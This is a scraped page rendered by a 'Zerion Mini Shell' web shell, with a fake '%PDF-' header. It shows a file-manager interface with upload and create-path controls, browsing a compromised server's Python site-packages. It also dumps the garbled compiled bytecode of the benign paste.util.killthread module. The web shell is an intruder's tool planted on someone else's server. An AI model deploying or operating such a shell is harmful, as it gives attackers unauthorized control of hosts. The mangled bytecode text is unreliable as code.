%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib/python3.7/site-packages/paste/util/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib/python3.7/site-packages/paste/util/__pycache__/killthread.cpython-37.pyc

B

b�N��@sTdZddlZyddlZWnek
r4ed��YnXeed�sHed��dd�ZdS)zB
Kill a thread, from http://sebulba.wikispaces.com/recipe+thread2
�Nz=You cannot use paste.util.killthread without ctypes installed�	pythonapiz=You cannot use paste.util.killthread without ctypes.pythonapicCs~t|tjtf�std��t|t�s*td��tj�t�	|�t�
|��}|dkrVtd��n$|dkrztj�t�	|�d�td��dS)z�raises the exception, performs cleanup if needed.

    tid is the value given by thread.get_ident() (an integer).
    Raise SystemExit to kill a thread.z(Only types can be raised (not instances)ztid must be an integerrzinvalid thread id�z PyThreadState_SetAsyncExc failedN)
�
isinstance�typesZ	ClassType�type�	TypeError�int�ctypesrZPyThreadState_SetAsyncExc�c_long�	py_object�
ValueError�SystemError)�tid�exctype�res�r�F/opt/alt/python37/lib/python3.7/site-packages/paste/util/killthread.py�async_raises

r)�__doc__rr	�ImportError�hasattrrrrrr�<module>s


Zerion Mini Shell 1.0